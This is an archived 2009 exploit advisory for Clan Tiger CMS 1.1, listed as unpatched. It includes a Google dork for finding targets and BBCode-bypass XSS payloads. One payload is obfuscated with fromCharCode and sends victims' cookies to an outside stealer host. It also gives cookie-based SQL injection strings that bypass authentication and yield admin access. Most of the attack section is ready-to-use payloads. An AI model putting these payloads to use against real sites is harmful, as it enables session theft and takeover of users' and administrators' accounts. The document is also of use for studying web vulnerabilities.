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TUCoPS :: Web :: CMS / Portals :: va3217.htm

CLAN TIGER CMS--MULTIPLE COOKIES HANDLING VULNERABILITIES-->



CLAN TIGER CMS--MULTIPLE COOKIES HANDLING VULNERABILITIES-->
CLAN TIGER CMS--MULTIPLE COOKIES HANDLING VULNERABILITIES-->



--------------------------------------------------------------
 CLAN TIGER CMS MULTIPLE COOKIES HANDLING VULNERABILITIES         	     
--------------------------------------------------------------

 CMS INFORMATION:			=09

-->WEB: http://www.clantiger.com 
-->DOWNLOAD: http://www.clantiger.com/download-clan-cms 
-->DEMO: http://www.demo.clantiger.com/ 
-->CATEGORY: CMS / Portals
-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming
		clans...

 CMS VULNERABILITY:
	     
-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)
-->DORK: "Powered by ClanTiger"
-->CATEGORY: BYPASS-BBCODE/COOKIES STEALING && COOKIE AUTH BYPASS/SQL INJECTION
-->AFFECT VERSION: 1.1	(maybe <= ?)
-->Discovered Bug date: 2009-04-11
-->Reported Bug date: 2009-04-11
-->Fixed bug date: Not fixed
-->Info patch (????): Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cu=F1ada, padres (y amigos xD) por su apoyo.


//////////////////////////////////

COOKIES STEALING (BYPASS BBCODE)

//////////////////////////////////

(BBCode again...)

--------------
BUG ZONES:
--------------

#BBCode is bypassed by differents methods and XSS is posible.

#We find BBCode on these links:

http://[HOST]/[PATH]/index.php?module=news&action=view&id=2 
http://[HOST]/[PATH]/index.php?module=mycontrolpanel&action=signature 
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2 
http://[HOST]/[PATH]/index.php?module=forum 
http://[HOST]/[PATH]/index.php?module=mymessages 

--------------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
--------------------------------------

BOTH (FIREFOX AND IE):

[url][img]http://www.google.es onmouseover=alert(1) [/img][/url] 
[email][img]pepe@pepe.es onmouseover=alert(1) [/img][/email] 
[email][url]http://www.prueba.es onmouseover=alert(1) [/url][/email] 
[url][email]pepe@pepe.es onmouseover=alert(1) [/email][/url] 

..

ONLY IE:

[img][url]http://al.com onmouseover=alert(1) [/url][/img] 
[img][email]pepe@pepe.es onmouseover=alert(1) [/email][/img] 

..

Combinations of tags: 

[email][url]http://owned.com onmouseover=alert(1) [/url][/mail] 

Generate:

href="mailto: href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) ">href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1)  

------------------------------
COOKIES EXPLOIT (BBCODE):
------------------------------

Link --> http://www.myphpcookiestealing.es/capturethecookies.php?ck 
[url][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/url] 

-----------------------------------
COOKIES STEALER (PHP SCRIPT):
-----------------------------------

""; //Redirect...we don't want to alert xDD 
?>

///////////////////////////////////

[COOKIE]AUTH BYPASS(SQL INJECTION)

///////////////////////////////////

----------------
CONDITIONS:
----------------

**(sometimes) DB_PREFIX="" (Default) 

	maybe: db, db_clan, ...

**gpc_magic_quotes=off

---------------
BUG FILE:
---------------

Path --> [HOME_PATH]/functions/class.accesscontrol.php

It contents:

	function checkLogin()
	{
		if($_COOKIE['CCC_UID'] && $_COOKIE['CCC_CODE'])
		{
			$uid = $_COOKIE['CCC_UID'];
			$logincode = $_COOKIE['CCC_CODE'];
		=09
			$query = "SELECT * FROM " . DB_PREFIX . "members WHERE md5(id)='$uid' and logincode='$logincode'";
			$results = $this->db->getrow($query);

			if($results['username'])
			{
			=09
				....
			}=09

		=09
		} 
	}

-----------------------------------------
PROOF OF CONCEPT (SQL INJECTION):
-----------------------------------------

Add cookies:

CCC_UID=BLABLABLA   //it is not use
CCC_CODE=BLABLA' [SQL]

---------
EXAMPLE:
---------

Add cookies: (only need gpc_magic_quotes=off)

CCC_UID=pepe	//it is not use
CCC_CODE=lala' OR 1=1 /*	//admin 

Other example: (DB_PREFIX="" and gpc_magic_quotes=off)

CCC_UID=pepe	//it is not use
CCC_CODE=lala' UNION ALL SELECT * FROM members WHERE id='1	//select first user= admin? to be other (id=2,3,4...)

*******************************************************************
 GREETZ TO: Str0ke, JosS and all spanish Hack3Rs community!
*******************************************************************


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